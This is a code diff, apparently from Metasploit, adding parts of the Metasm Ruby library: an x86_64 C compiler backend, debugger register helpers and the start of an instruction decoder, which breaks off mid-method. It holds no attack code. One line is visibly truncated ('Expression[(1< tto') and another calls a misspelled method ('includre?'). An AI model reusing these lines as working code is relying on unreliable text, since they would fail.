*args) + # XXX parse_postfix ? + @source << Instruction.new(@exeformat.cpu, name, args) + end + + # returns an available register, tries to find one not in @state.cache + # do not use with sz==8 (aliasing ah=>esp) + # does not put it in @state.inuse + def findreg(sz = @cpusz) + caching = @state.cache.keys.grep(Reg).map { |r| r.val } + if not regval = (@state.abi_trashregs - @state.used - caching).first || + ([*0..@regnummax] - @state.used).first + raise 'need more registers! (or a better compiler?)' + end + getreg(regval, sz) + end + + # returns a Reg from a regval, mark it as dirty, flush old cache dependencies + def getreg(regval, sz=@cpusz) + flushcachereg(regval) + @state.dirty |= [regval] + Reg.new(regval, sz) + end + + # remove the cache keys that depends on the register + def flushcachereg(regval) + @state.cache.delete_if { |e, val| + case e + when Reg; e.val == regval + when Address; e = e.modrm ; redo + when ModRM; e.b && (e.b.val == regval) or e.i && (e.i.val == regval) + end + } + end + + # removes elements from @state.inuse, free @state.used if unreferenced + # must be the exact object present in inuse + def unuse(*vals) + vals.each { |val| + val = val.modrm if val.kind_of? Address + @state.inuse.delete val + } + # XXX cache exempt + exempt = @state.bound.values.map { |r| r.val } + exempt << 4 + exempt << 5 if @state.saved_rbp + @state.used.delete_if { |regval| + next if exempt.include? regval + not @state.inuse.find { |val| + case val + when Reg; val.val == regval + when ModRM; (val.b and val.b.val == regval) or (val.i and val.i.val == regval) + else raise 'internal error - inuse ' + val.inspect + end + } + } + end + + # marks an arg as in use, returns the arg + def inuse(v) + case v + when Reg; @state.used |= [v.val] + when ModRM + @state.used |= [v.i.val] if v.i + @state.used |= [v.b.val] if v.b + when Address; inuse v.modrm ; return v + else return v + end + @state.inuse |= [v] + v + end + + # returns a variable storage (ModRM for stack/global, Reg/Composite for register-bound) + def findvar(var) + if ret = @state.bound[var] + return ret + end + + if ret = @state.cache.index(var) + ret = ret.dup + inuse ret + return ret + end + + sz = 8*sizeof(var) rescue nil # extern char foo[]; + + case off = @state.offset[var] + when C::CExpression + # stack, dynamic address + # TODO + # no need to update state.cache here, never recursive + v = raise "find dynamic addr of #{var.name}" + when ::Integer + # stack + # TODO -fomit-frame-pointer ( => state.cache dependant on stack_offset... ) + v = ModRM.new(@cpusz, sz, nil, nil, @state.saved_rbp, Expression[-off]) + when nil + # global + if @exeformat.cpu.generate_PIC + v = ModRM.new(@cpusz, sz, nil, nil, Reg.from_str('rip'), Expression[var.name, :-, '$_']) + else + v = ModRM.new(@cpusz, sz, nil, nil, nil, Expression[var.name]) + end + end + + case var.type + when C::Array; inuse Address.new(v) + else inuse v + end + end + + # resolves the Address to Reg/Expr (may encode an 'lea') + def resolve_address(e) + r = e.modrm + unuse e + if r.imm and not r.b and not r.i + reg = r.imm + elsif not r.imm and ((not r.b and r.s == 1) or not r.i) + reg = r.b || r.i + elsif reg = @state.cache.index(e) + reg = reg.dup + else + reg = findreg + r.sz = reg.sz + instr 'lea', reg, r + end + inuse reg + @state.cache[reg] = e + reg + end + + # copies the arg e to a volatile location (register/composite) if it is not already + # unuses the old storage + # may return a register bigger than the type size (eg __int8 are stored in full reg size) + def make_volatile(e, type, rsz=@cpusz) + if e.kind_of? ModRM or @state.bound.index(e) + if type.integral? or type.pointer? + oldval = @state.cache[e] + unuse e + sz = typesize[type.pointer? ? :ptr : type.name]*8 + if sz < @cpusz or sz < rsz or e.sz < rsz + e2 = inuse findreg(rsz) + op = ((type.specifier == :unsigned) ? 'movzx' : 'movsx') + op = 'mov' if e.sz == e2.sz + if e2.sz == 64 and e.sz == 32 + if op == 'movsx' + instr 'movsxd', e2, e + else + instr 'mov', Reg.new(e2.val, 32), e + end + else + instr op, e2, e + end + else + e2 = inuse findreg(sz) + instr 'mov', e2, e + end + @state.cache[e2] = oldval if oldval and e.kind_of? ModRM + e2 + elsif type.float? + raise 'float unhandled' + else raise "cannot cast #{e} to #{type}" + end + elsif e.kind_of? Address + make_volatile resolve_address(e), type, rsz + elsif e.kind_of? Expression + if type.integral? or type.pointer? + e2 = inuse findreg + instr 'mov', e2, e + e2 + elsif type.float? + raise 'float unhandled' + else raise "cannot cast #{e} to #{type}" + end + else + e + end + end + + # takes an argument, if the argument is an integer that does not fit in an i32, moves it to a temp reg + # the reg is unused, so use this only right when generating the offending instr (eg cmp, add..) + def i_to_i32(v) + if v.kind_of? Expression and i = v.reduce and i.kind_of?(Integer) + i &= 0xffff_ffff_ffff_ffff + if i <= 0x7fff_ffff + elsif i >= (1<<64)-0x8000_0000 + v = Expression[Expression.make_signed(i, 64)] + else + v = make_volatile(v, C::BaseType.new(:int)) + unuse v + end + end + v + end + + # returns the instruction suffix for a comparison operator + def getcc(op, type) + case op + when :'=='; 'z' + when :'!='; 'nz' + when :'<' ; 'b' + when :'>' ; 'a' + when :'<='; 'be' + when :'>='; 'ae' + else raise "bad comparison op #{op}" + end.tr((type.specifier == :unsigned ? '' : 'ab'), 'gl') + end + + # compiles a c expression, returns an X64 instruction argument + def c_cexpr_inner(expr) + case expr + when ::Integer; Expression[expr] + when C::Variable; findvar(expr) + when C::CExpression + if not expr.lexpr or not expr.rexpr + inuse c_cexpr_inner_nol(expr) + else + inuse c_cexpr_inner_l(expr) + end + when C::Label; findvar(C::Variable.new(expr.name, C::Array.new(C::BaseType.new(:void), 1))) + else puts "c_ce_i: unsupported #{expr}" if $VERBOSE + end + end + + # compile a CExpression with no lexpr + def c_cexpr_inner_nol(expr) + case expr.op + when nil + r = c_cexpr_inner(expr.rexpr) + if (expr.rexpr.kind_of? C::CExpression or expr.rexpr.kind_of? C::Variable) and + expr.type.kind_of? C::BaseType and expr.rexpr.type.kind_of? C::BaseType + r = c_cexpr_inner_cast(expr, r) + end + r + when :+ + c_cexpr_inner(expr.rexpr) + when :- + r = c_cexpr_inner(expr.rexpr) + r = make_volatile(r, expr.type) + if expr.type.integral? or expr.type.pointer? + instr 'neg', r + elsif expr.type.float? + raise 'float unhandled' + else raise + end + r + when :'++', :'--' + r = c_cexpr_inner(expr.rexpr) + inc = true if expr.op == :'++' + if expr.type.integral? or expr.type.pointer? + op = (inc ? 'inc' : 'dec') + instr op, r + elsif expr.type.float? + raise 'float unhandled' + end + r + when :& + raise 'bad precompiler ' + expr.to_s if not expr.rexpr.kind_of? C::Variable + @state.cache.each { |r_, c| + return inuse(r_) if c.kind_of? Address and c.target == expr.rexpr + } + r = c_cexpr_inner(expr.rexpr) + raise 'bad lvalue' if not r.kind_of? ModRM + unuse r + r = Address.new(r) + inuse r + r.target = expr.rexpr + r + when :* + expr.rexpr.type.name = :ptr if expr.rexpr.kind_of? C::CExpression and expr.rexpr.type.kind_of? C::BaseType and typesize[expr.rexpr.type.name] == typesize[:ptr] # hint to use Address + e = c_cexpr_inner(expr.rexpr) + sz = 8*sizeof(expr) + case e + when Address + unuse e + e = e.modrm.dup + e.sz = sz + inuse e + when ModRM; e = make_volatile(e, expr.rexpr.type) + end + case e + when Reg; unuse e ; e = inuse ModRM.new(@cpusz, sz, nil, nil, e, nil) + when Expression; e = inuse ModRM.new(@cpusz, sz, nil, nil, nil, e) + end + e + when :'!' + r = c_cexpr_inner(expr.rexpr) + r = make_volatile(r, expr.rexpr.type) + if expr.rexpr.type.integral? or expr.type.pointer? + r = make_volatile(r, expr.rexpr.type) + instr 'test', r, r + elsif expr.rexpr.type.float? + raise 'float unhandled' + else raise 'bad comparison ' + expr.to_s + end + instr 'setz', Reg.new(r.val, 8) + instr 'and', r, Expression[1] + r + else raise 'mmh ? ' + expr.to_s + end + end + + # compile a cast (BaseType to BaseType) + def c_cexpr_inner_cast(expr, r) + if expr.type.float? or expr.rexpr.type.float? + raise 'float unhandled' + elsif (expr.type.integral? or expr.type.pointer?) and (expr.rexpr.type.integral? or expr.rexpr.type.pointer?) + tto = typesize[expr.type.pointer? ? :ptr : expr.type.name]*8 + tfrom = typesize[expr.rexpr.type.pointer? ? :ptr : expr.rexpr.type.name]*8 + r = resolve_address r if r.kind_of? Address + if r.kind_of? Expression + r = make_volatile r, expr.type + elsif tfrom > tto + case r + when ModRM + unuse r + r = r.dup + r.sz = tto + inuse r + when Reg + if r.sz == 64 and tto == 32 + instr 'mov', Reg.new(r.val, tto), Reg.new(r.val, tto) + else + instr 'and', r, Expression[(1< tto + end + end + elsif tto > tfrom + if not r.kind_of? Reg or r.sz != @cpusz + unuse r + reg = inuse findreg + op = (r.sz == reg.sz ? 'mov' : (expr.rexpr.type.specifier == :unsigned ? 'movzx' : 'movsx')) + if reg.sz == 64 and r.sz == 32 + if op == 'movsx' + instr 'movsxd', reg, r + else + instr 'mov', Reg.new(reg.val, 32), r + end + else + instr op, reg, r + end + r = reg + end + end + end + r + end + + # compiles a CExpression, not arithmetic (assignment, comparison etc) + def c_cexpr_inner_l(expr) + case expr.op + when :funcall + c_cexpr_inner_funcall(expr) + when :'+=', :'-=', :'*=', :'/=', :'%=', :'^=', :'&=', :'|=', :'<<=', :'>>=' + l = c_cexpr_inner(expr.lexpr) + raise 'bad lvalue' if not l.kind_of? ModRM and not @state.bound.index(l) + r = c_cexpr_inner(expr.rexpr) + op = expr.op.to_s.chop.to_sym + c_cexpr_inner_arith(l, op, r, expr.type) + l + when :'+', :'-', :'*', :'/', :'%', :'^', :'&', :'|', :'<<', :'>>' + # both sides are already cast to the same type by the precompiler + # XXX fptrs are not #integral? ... + if expr.type.integral? and expr.type.name == :ptr and expr.lexpr.type.kind_of? C::BaseType and + typesize[expr.lexpr.type.name] == typesize[:ptr] + expr.lexpr.type.name = :ptr + end + l = c_cexpr_inner(expr.lexpr) + l = make_volatile(l, expr.type) if not l.kind_of? Address + if expr.type.integral? and expr.type.name == :ptr and l.kind_of? Reg + unuse l + l = Address.new ModRM.new(l.sz, @cpusz, nil, nil, l, nil) + inuse l + end + if l.kind_of? Address and expr.type.integral? + l.modrm.imm = nil if l.modrm.imm and not l.modrm.imm.op and l.modrm.imm.rexpr == 0 + if l.modrm.b and l.modrm.i and l.modrm.s == 1 and l.modrm.b.val == l.modrm.i.val + unuse l.modrm.b if l.modrm.b != l.modrm.i + l.modrm.b = nil + l.modrm.s = 2 + end + case expr.op + when :+ + rexpr = expr.rexpr + rexpr = rexpr.rexpr while rexpr.kind_of? C::CExpression and not rexpr.op and rexpr.type.integral? and + rexpr.rexpr.kind_of? C::CExpression and rexpr.rexpr.type.integral? and + typesize[rexpr.type.name] == typesize[rexpr.rexpr.type.name] + if rexpr.kind_of? C::CExpression and rexpr.op == :* and rexpr.lexpr + r1 = c_cexpr_inner(rexpr.lexpr) + r2 = c_cexpr_inner(rexpr.rexpr) + r1, r2 = r2, r1 if r1.kind_of? Expression + if r2.kind_of? Expression and [1, 2, 4, 8].include?(rr2 = r2.reduce) + case r1 + when ModRM, Address, Reg + r1 = make_volatile(r1, rexpr.type) if not r1.kind_of? Reg + if not l.modrm.i or (l.modrm.i.val == r1.val and l.modrm.s == 1 and rr2 == 1) + unuse l, r1, r2 + l = Address.new(l.modrm.dup) + inuse l + l.modrm.i = r1 + l.modrm.s = (l.modrm.s || 0) + rr2 + return l + end + end + end + r = make_volatile(r1, rexpr.type) + c_cexpr_inner_arith(r, :*, r2, rexpr.type) + else + r = c_cexpr_inner(rexpr) + end + r = resolve_address r if r.kind_of? Address + r = make_volatile(r, rexpr.type) if r.kind_of? ModRM + case r + when Reg + unuse l + l = Address.new(l.modrm.dup) + inuse l + if l.modrm.b + if not l.modrm.i or (l.modrm.i.val == r.val and l.modrm.s == 1) + l.modrm.i = r + l.modrm.s = (l.modrm.s || 0) + 1 + unuse r + return l + end + else + l.modrm.b = r + unuse r + return l + end + when Expression + unuse l, r + l = Address.new(l.modrm.dup) + inuse l + l.modrm.imm = Expression[l.modrm.imm, :+, r] + return l + end + when :- + r = c_cexpr_inner(expr.rexpr) + r = resolve_address r if r.kind_of? Address + if r.kind_of? Expression + unuse l, r + l = Address.new(l.modrm.dup) + inuse l + l.modrm.imm = Expression[l.modrm.imm, :-, r] + return l + end + when :* + r = c_cexpr_inner(expr.rexpr) + if r.kind_of? Expression and [1, 2, 4, 8].includre?(rr = r.reduce) + if l.modrm.b and not l.modrm.i + if rr != 1 + l.modrm.i = l.modrm.b + l.modrm.s = rr + l.modrm.imm = Expression[l.modrm.imm, :*, rr] if l.modrm.imm + end + unuse r + return l + elsif l.modrm.i and not l.modrm.b and l.modrm.s*rr <= 8 + l.modrm.s *= rr + l.modrm.imm = Expression[l.modrm.imm, :*, rr] if l.modrm.imm and rr != 1 + unuse r + return l + end + end + end + end + l = make_volatile(l, expr.type) if l.kind_of? Address + r ||= c_cexpr_inner(expr.rexpr) + c_cexpr_inner_arith(l, expr.op, r, expr.type) + l + when :'=' + r = c_cexpr_inner(expr.rexpr) + l = c_cexpr_inner(expr.lexpr) + raise 'bad lvalue ' + l.inspect if not l.kind_of? ModRM and not @state.bound.index(l) + r = resolve_address r if r.kind_of? Address + r = make_volatile(r, expr.type) if l.kind_of? ModRM and r.kind_of? ModRM + unuse r + if expr.type.integral? or expr.type.pointer? + if r.kind_of? Address + m = r.modrm.dup + m.sz = l.sz + instr 'lea', l, m + else + if l.kind_of? ModRM and r.kind_of? Reg and l.sz != r.sz + raise if l.sz > r.sz + if l.sz == 8 and r.val >= 4 + reg = ([0, 1, 2, 3] - @state.used).first + if not reg + rax = Reg.new(0, r.sz) + instr 'push', rax + instr 'mov', rax, r + instr 'mov', l, Reg.new(rax.val, 8) + instr 'pop', rax + else + flushcachereg(reg) + instr 'mov', Reg.new(reg, r.sz), r + instr 'mov', l, Reg.new(reg, 8) + end + else + instr 'mov', l, Reg.new(r.val, l.sz) + end + elsif l.kind_of? ModRM and r.kind_of? Expression and l.sz == 64 + rval = r.reduce + if !rval.kind_of?(Integer) or rval > 0xffff_ffff or rval < -0x8000_0000 + r = make_volatile(r, expr.type) + unuse r + end + instr 'mov', l, r + else + instr 'mov', l, r + end + end + elsif expr.type.float? + raise 'float unhandled' + end + l + when :>, :<, :>=, :<=, :==, :'!=' + l = c_cexpr_inner(expr.lexpr) + l = make_volatile(l, expr.type) + r = c_cexpr_inner(expr.rexpr) + r = make_volatile(r, expr.type) if r.kind_of?(ModRM) and r.sz != l.sz + unuse r + if expr.lexpr.type.integral? or expr.lexpr.type.pointer? + instr 'cmp', l, i_to_i32(r) + elsif expr.lexpr.type.float? + raise 'float unhandled' + else raise 'bad comparison ' + expr.to_s + end + opcc = getcc(expr.op, expr.type) + instr 'set'+opcc, Reg.new(l.val, 8) + instr 'and', l, 1 + l + else + raise 'unhandled cexpr ' + expr.to_s + end + end + + # compiles a subroutine call + def c_cexpr_inner_funcall(expr) + backup = [] + rax = Reg.new(0, 64) + + ft = expr.lexpr.type + ft = ft.pointed if ft.pointer? + ft = nil if not ft.kind_of? C::Function + + regargsmask = @state.regargs.dup + if ft + ft.args.each_with_index { |a, i| + if rn = a.has_attribute_var('register') + regargsmask.insert(i, Reg.from_str(rn).val) + end + } + end + regargsmask = regargsmask[0, expr.rexpr.length] + + (@state.abi_flushregs_call | regargsmask.compact.uniq).each { |reg| + next if reg == 4 + next if reg == 5 and @state.saved_rbp + if not @state.used.include? reg + if not @state.abi_trashregs.include? reg + @state.dirty |= [reg] + end + next + end + backup << reg + instr 'push', Reg.new(reg, 64) + @state.used.delete reg + } + + stackargs = expr.rexpr.zip(regargsmask).map { |a, r| a if not r }.compact + + # preserve 16byte stack align under windows + stackalign = true if @state.args_space > 0 and (stackargs + backup).length & 1 == 1 + instr 'sub', Reg.new(4, @cpusz), Expression[8] if stackalign + + stackargs.reverse_each { |arg| + raise 'arg unhandled' if not arg.type.integral? or arg.type.pointer? + a = c_cexpr_inner(arg) + a = resolve_address a if a.kind_of? Address + a = make_volatile(a, arg.type) if a.kind_of? ModRM and arg.type.name != :__int64 + unuse a + instr 'push', a + } + + regargs_unuse = [] + regargsmask.zip(expr.rexpr).reverse_each { |ra, arg| + next if not arg or not ra + a = c_cexpr_inner(arg) + a = resolve_address a if a.kind_of? Address + r = Reg.new(ra, a.respond_to?(:sz) ? a.sz : 64) + instr 'mov', r, a if not a.kind_of? Reg or a.val != r.val + unuse a + regargs_unuse << r if not @state.inuse.include? ra + inuse r + } + instr 'sub', Reg.new(4, 64), Expression[@state.args_space] if @state.args_space > 0 # TODO prealloc that at func start + + if ft.kind_of? C::Function and ft.varargs and @state.args_space == 0 + # gcc stores here the nr of xmm args passed, real args are passed the standard way + instr 'xor', rax, rax + inuse rax + regargs_unuse << rax + end + + + if expr.lexpr.kind_of? C::Variable and expr.lexpr.type.kind_of? C::Function + instr 'call', Expression[expr.lexpr.name] + else + ptr = c_cexpr_inner(expr.lexpr) + unuse ptr + ptr = make_volatile(ptr, expr.lexpr.type) if ptr.kind_of? Address + instr 'call', ptr + end + regargs_unuse.each { |r| unuse r } + argsz = @state.args_space + stackargs.length * 8 + argsz += 8 if stackalign + instr 'add', Reg.new(4, @cpusz), Expression[argsz] if argsz > 0 + + @state.abi_flushregs_call.each { |reg| flushcachereg reg } + @state.used |= backup + if @state.used.include?(0) + retreg = inuse findreg + else + retreg = inuse getreg(0) + end + backup.reverse_each { |reg| + if retreg.kind_of? Reg and reg == 0 + instr 'pop', Reg.new(retreg.val, 64) + instr 'xchg', Reg.new(reg, 64), Reg.new(retreg.val, 64) + else + instr 'pop', Reg.new(reg, 64) + end + inuse getreg(reg) + } + retreg + end + + # compiles/optimizes arithmetic operations + def c_cexpr_inner_arith(l, op, r, type) + # optimizes *2 -> <<1 + if r.kind_of? Expression and (rr = r.reduce).kind_of? ::Integer + if type.integral? or type.pointer? + log2 = lambda { |v| + # TODO lol + i = 0 + i += 1 while (1 << i) < v + i if (1 << i) == v + } + if (lr = log2[rr]).kind_of? ::Integer + case op + when :*; return c_cexpr_inner_arith(l, :<<, Expression[lr], type) + when :/; return c_cexpr_inner_arith(l, :>>, Expression[lr], type) + when :%; return c_cexpr_inner_arith(l, :&, Expression[rr-1], type) + end + else + # TODO /r => *(r^(-1)), *3 => stuff with magic constants.. + end + end + end + + if type.float? + raise 'float unhandled' + else + c_cexpr_inner_arith_int(l, op, r, type) + end + end + + # compile an integral arithmetic expression, reg-sized + def c_cexpr_inner_arith_int(l, op, r, type) + op = case op + when :+; 'add' + when :-; 'sub' + when :&; 'and' + when :|; 'or' + when :^; 'xor' + when :>>; type.specifier == :unsigned ? 'shr' : 'sar' + when :<<; 'shl' + when :*; 'mul' + when :/; 'div' + when :%; 'mod' + end + + case op + when 'add', 'sub', 'and', 'or', 'xor' + r = make_volatile(r, type) if l.kind_of?(ModRM) and r.kind_of?(ModRM) + r = make_volatile(r, type) if r.kind_of?(ModRM) and r.sz != l.sz # add rax, word [moo] + unuse r + r = Reg.new(r.val, l.sz) if r.kind_of?(Reg) and l.kind_of?(ModRM) and l.sz and l.sz != r.sz # add byte ptr [rax], bl + instr op, l, i_to_i32(r) + when 'shr', 'sar', 'shl' + if r.kind_of? Expression + instr op, l, r + else + # XXX bouh + r = make_volatile(r, C::BaseType.new(:__int8, :unsigned)) + unuse r + if r.val != 1 + rcx = Reg.new(1, 64) + instr 'xchg', rcx, Reg.new(r.val, 64) + l = Reg.new(r.val, l.sz) if l.kind_of? Reg and l.val == 1 + end + instr op, l, Reg.new(1, 8) + instr 'xchg', rcx, Reg.new(r.val, 64) if r.val != 1 + end + when 'mul' + if l.kind_of? ModRM + if r.kind_of? Expression + ll = findreg + instr 'imul', ll, l, r + else + ll = make_volatile(l, type) + unuse ll + instr 'imul', ll, r + end + instr 'mov', l, ll + else + r = make_volatile(r, type) if r.kind_of?(ModRM) and r.sz != l.sz + instr 'imul', l, r + end + unuse r + when 'div', 'mod' + lv = l.val if l.kind_of? Reg + rax = Reg.from_str 'rax' + rdx = Reg.from_str 'rdx' + if @state.used.include? rax.val and lv != rax.val + instr 'push', rax + saved_rax = true + end + if @state.used.include? rdx.val and lv != rdx.val + instr 'push', rdx + saved_rdx = true + end + + instr 'mov', rax, l if lv != rax.val + + if r.kind_of? Expression + instr 'push', r + rsp = Reg.from_str 'rsp' + r = ModRM.new(@cpusz, 64, nil, nil, rsp, nil) + need_pop = true + end + + if type.specifier == :unsigned + instr 'mov', rdx, Expression[0] + instr 'div', r + else + instr 'cdq' + instr 'idiv', r + end + unuse r + + instr 'add', rsp, 8 if need_pop + + if op == 'div' + instr 'mov', l, rax if lv != rax.val + else + instr 'mov', l, rdx if lv != rdx.val + end + + instr 'pop', rdx if saved_rdx + instr 'pop', rax if saved_rax + end + end + + def c_cexpr(expr) + case expr.op + when :+, :-, :*, :/, :&, :|, :^, :%, :[], nil, :'.', :'->', + :>, :<, :<=, :>=, :==, :'!=', :'!' + # skip no-ops + c_cexpr(expr.lexpr) if expr.lexpr.kind_of? C::CExpression + c_cexpr(expr.rexpr) if expr.rexpr.kind_of? C::CExpression + else unuse c_cexpr_inner(expr) + end + end + + def c_block_exit(block) + @state.cache.delete_if { |k, v| + case v + when C::Variable; block.symbol.index v + when Address; block.symbol.index v.target + end + } + block.symbol.each { |s| + unuse @state.bound.delete(s) + } + end + + def c_decl(var) + if var.type.kind_of? C::Array and + var.type.length.kind_of? C::CExpression + reg = c_cexpr_inner(var.type.length) + unuse reg + instr 'sub', Reg.new(4, @cpusz), reg + # TODO + end + end + + def c_ifgoto(expr, target) + case o = expr.op + when :<, :>, :<=, :>=, :==, :'!=' + l = c_cexpr_inner(expr.lexpr) + r = c_cexpr_inner(expr.rexpr) + r = make_volatile(r, expr.type) if r.kind_of? ModRM and l.kind_of? ModRM + r = make_volatile(r, expr.type) if r.kind_of?(ModRM) and r.sz != l.sz + l = make_volatile(l, expr.type) if l.kind_of?(ModRM) + if l.kind_of? Expression + o = { :< => :>, :> => :<, :>= => :<=, :<= => :>= }[o] || o + l, r = r, l + end + unuse l, r + if expr.lexpr.type.integral? or expr.lexpr.type.pointer? + r = Reg.new(r.val, l.sz) if r.kind_of? Reg and r.sz != l.sz # XXX + instr 'cmp', l, i_to_i32(r) + elsif expr.lexpr.type.float? + raise 'float unhandled' + else raise 'bad comparison ' + expr.to_s + end + op = 'j' + getcc(o, expr.lexpr.type) + instr op, Expression[target] + when :'!' + r = c_cexpr_inner(expr.rexpr) + r = make_volatile(r, expr.rexpr.type) + unuse r + instr 'test', r, r + instr 'jz', Expression[target] + else + r = c_cexpr_inner(expr) + r = make_volatile(r, expr.type) + unuse r + instr 'test', r, r + instr 'jnz', Expression[target] + end + end + + def c_goto(target) + instr 'jmp', Expression[target] + end + + def c_label(name) + @state.cache.clear + @source << '' << Label.new(name) + end + + def c_return(expr) + return if not expr + @state.cache.delete_if { |r, v| r.kind_of? Reg and r.val == 0 and expr != v } + r = c_cexpr_inner(expr) + r = make_volatile(r, expr.type) + unuse r + instr 'mov', Reg.new(0, r.sz), r if r.val != 0 + end + + def c_asm(stmt) + if stmt.output or stmt.input or stmt.clobber + raise # TODO (handle %%0 => rax, gas, etc) + else + raise 'asm refering variables unhandled' if @state.func.initializer.symbol.keys.find { |sym| stmt.body =~ /\b#{Regexp.escape(sym)}\b/ } + @source << stmt.body + end + end + + def c_init_state(func) + @state = State.new(func) + args = func.type.args.dup + if @parser.lexer.definition['__MS_X86_64_ABI__'] + @state.args_space = 32 + @state.regargs = [1, 2, 8, 9] + else + @state.args_space = 0 + @state.regargs = [7, 6, 2, 1, 8, 9] + end + c_reserve_stack(func.initializer) + off = @state.offset.values.max.to_i + off = 0 if off < 0 + + argoff = 2*8 + @state.args_space + rlist = @state.regargs.dup + args.each { |a| + if a.has_attribute_var('register') + off = c_reserve_stack_var(a, off) + @state.offset[a] = off + elsif r = rlist.shift + if @state.args_space > 0 + # use reserved space to spill regargs + off = -16-8*@state.regargs.index(r) + else + off = c_reserve_stack_var(a, off) + end + @state.offset[a] = off + else + @state.offset[a] = -argoff + argoff = (argoff + sizeof(a) + 7) / 8 * 8 + end + } + if not @state.offset.values.grep(::Integer).empty? + @state.saved_rbp = Reg.new(5, @cpusz) + @state.used << 5 + end + end + + def c_prolog + localspc = @state.offset.values.grep(::Integer).max + return if @state.func.attributes.to_a.include? 'naked' + @state.dirty -= @state.abi_trashregs + if localspc + localspc = (localspc + 7) / 8 * 8 + if @state.args_space > 0 and (localspc/8 + @state.dirty.length) & 1 == 1 + # ensure 16-o stack align on windows + localspc += 8 + end + ebp = @state.saved_rbp + esp = Reg.new(4, ebp.sz) + instr 'push', ebp + instr 'mov', ebp, esp + instr 'sub', esp, Expression[localspc] if localspc > 0 + + rlist = @state.regargs.dup + @state.func.type.args.each { |a| + if rn = a.has_attribute_var('register') + r = Reg.from_str(rn).val + elsif r = rlist.shift + else next + end + v = findvar(a) + instr 'mov', v, Reg.new(r, v.sz) + } + elsif @state.args_space > 0 and @state.dirty.length & 1 == 0 + instr 'sub', Reg.new(4, @cpusz), Expression[8] + end + @state.dirty.each { |reg| + instr 'push', Reg.new(reg, @cpusz) + } + end + + def c_epilog + return if @state.func.attributes.to_a.include? 'naked' + @state.dirty.reverse_each { |reg| + instr 'pop', Reg.new(reg, @cpusz) + } + if ebp = @state.saved_rbp + instr 'mov', Reg.new(4, ebp.sz), ebp + instr 'pop', ebp + elsif @state.args_space > 0 and @state.dirty.length & 1 == 0 + instr 'add', Reg.new(4, @cpusz), Expression[8] + end + instr 'ret' + end + + def c_program_epilog + end +end + + def new_ccompiler(parser, exe=ExeFormat.new) + exe.cpu = self if not exe.instance_variable_get('@cpu') + CCompiler.new(parser, exe) + end +end +end diff --git a/lib/metasm/metasm/cpu/x86_64/debug.rb b/lib/metasm/metasm/cpu/x86_64/debug.rb new file mode 100644 index 0000000000..10d35e5507 --- /dev/null +++ b/lib/metasm/metasm/cpu/x86_64/debug.rb @@ -0,0 +1,59 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + + +require 'metasm/cpu/x86_64/opcodes' + +module Metasm +class X86_64 + def dbg_register_pc + @dbg_register_pc ||= :rip + end + def dbg_register_flags + @dbg_register_flags ||= :rflags + end + + def dbg_register_list + @dbg_register_list ||= [:rax, :rbx, :rcx, :rdx, :rsi, :rdi, :rbp, :rsp, :r8, :r9, :r10, :r11, :r12, :r13, :r14, :r15, :rip] + end + + def dbg_register_size + @dbg_register_size ||= Hash.new(64).update(:cs => 16, :ds => 16, :es => 16, :fs => 16, :gs => 16) + end + + def dbg_func_arg(dbg, argnr) + if dbg.class.name =~ /win/i + list = [:rcx, :rdx, :r8, :r9] + off = 0x20 + else + list = [:rdi, :rsi, :rdx, :rcx, :r8, :r9] + off = 0 + end + if r = list[argnr] + dbg.get_reg_value(r) + else + argnr -= list.length + dbg.memory_read_int(Expression[:esp, :+, off + 8 + 8*argnr]) + end + end + def dbg_func_arg_set(dbg, argnr, arg) + if dbg.class.name =~ /win/i + list = [:rcx, :rdx, :r8, :r9] + off = 0x20 + else + list = [:rdi, :rsi, :rdx, :rcx, :r8, :r9] + off = 0 + end + if r = list[argnr] + dbg.set_reg_value(r, arg) + else + argnr -= list.length + dbg.memory_write_int(Expression[:esp, :+, off + 8 + 8*argnr], arg) + end + end + + # what's left is inherited from Ia32 +end +end diff --git a/lib/metasm/metasm/cpu/x86_64/decode.rb b/lib/metasm/metasm/cpu/x86_64/decode.rb new file mode 100644 index 0000000000..59729fa054 --- /dev/null +++ b/lib/metasm/metasm/cpu/x86_64/decode.rb @@ -0,0 +1,311 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + + +require 'metasm/cpu/x86_64/opcodes' +require 'metasm/decode' + +module Metasm +class X86_64 + class ModRM + def self.decode(edata, byte, endianness, adsz, opsz, seg=nil, regclass=Reg, pfx={}) + m = (byte >> 6) & 3 + rm = byte & 7 + + if m == 3 + rm |= 8 if pfx[:rex_b] and (regclass != SimdReg or opsz != 64) # mm8 -> mm0 + return regclass.new(rm, opsz) + end + + adsz ||= 64 + + # mod 0/1/2 m 4 => sib + # mod 0 m 5 => rip+imm + # sib: i 4 => no index, b 5 => no base + + s = i = b = imm = nil + if rm == 4 + sib = edata.get_byte.to_i + + ii = (sib >> 3) & 7 + ii |= 8 if pfx[:rex_x] + if ii != 4 + s = 1 << ((sib >> 6) & 3) + if pfx[:mrmvex] + i = SimdReg.new(ii, pfx[:mrmvex]) + else + i = Reg.new(ii, adsz) + end + + end + + bb = sib & 7 + if bb == 5 and m == 0 + m = 2 # :i32 follows + else + bb |= 8 if pfx[:rex_b] + b = Reg.new(bb, adsz) + end + elsif rm == 5 and m == 0 + b = Reg.new(16, adsz) + m = 2 # :i32 follows + else + rm |= 8 if pfx[:rex_b] + b = Reg.new(rm, adsz) + end + + case m + when 1; itype = :i8 + when 2; itype = :i32 + end + imm = Expression[edata.decode_imm(itype, endianness)] if itype + + if imm and imm.reduce.kind_of? Integer and imm.reduce < -0x100_0000 + # probably a base address -> unsigned + imm = Expression[imm.reduce & ((1 << adsz) - 1)] + end + + opsz = pfx[:argsz] if pfx[:argsz] + new adsz, opsz, s, i, b, imm, seg + end + end + + def decode_prefix(instr, byte) + x = super(instr, byte) + if instr.prefix.delete :rex + # rex ignored if not last + instr.prefix.delete :rex_b + instr.prefix.delete :rex_x + instr.prefix.delete :rex_r + instr.prefix.delete :rex_w + end + if byte & 0xf0 == 0x40 + x = instr.prefix[:rex] = byte + instr.prefix[:rex_b] = 1 if byte & 1 > 0 + instr.prefix[:rex_x] = 1 if byte & 2 > 0 + instr.prefix[:rex_r] = 1 if byte & 4 > 0 + instr.prefix[:rex_w] = 1 if byte & 8 > 0 + end + x + end + + def decode_instr_op(edata, di) + before_ptr = edata.ptr + op = di.opcode + di.instruction.opname = op.name + bseq = edata.read(op.bin.length).unpack('C*') # decode_findopcode 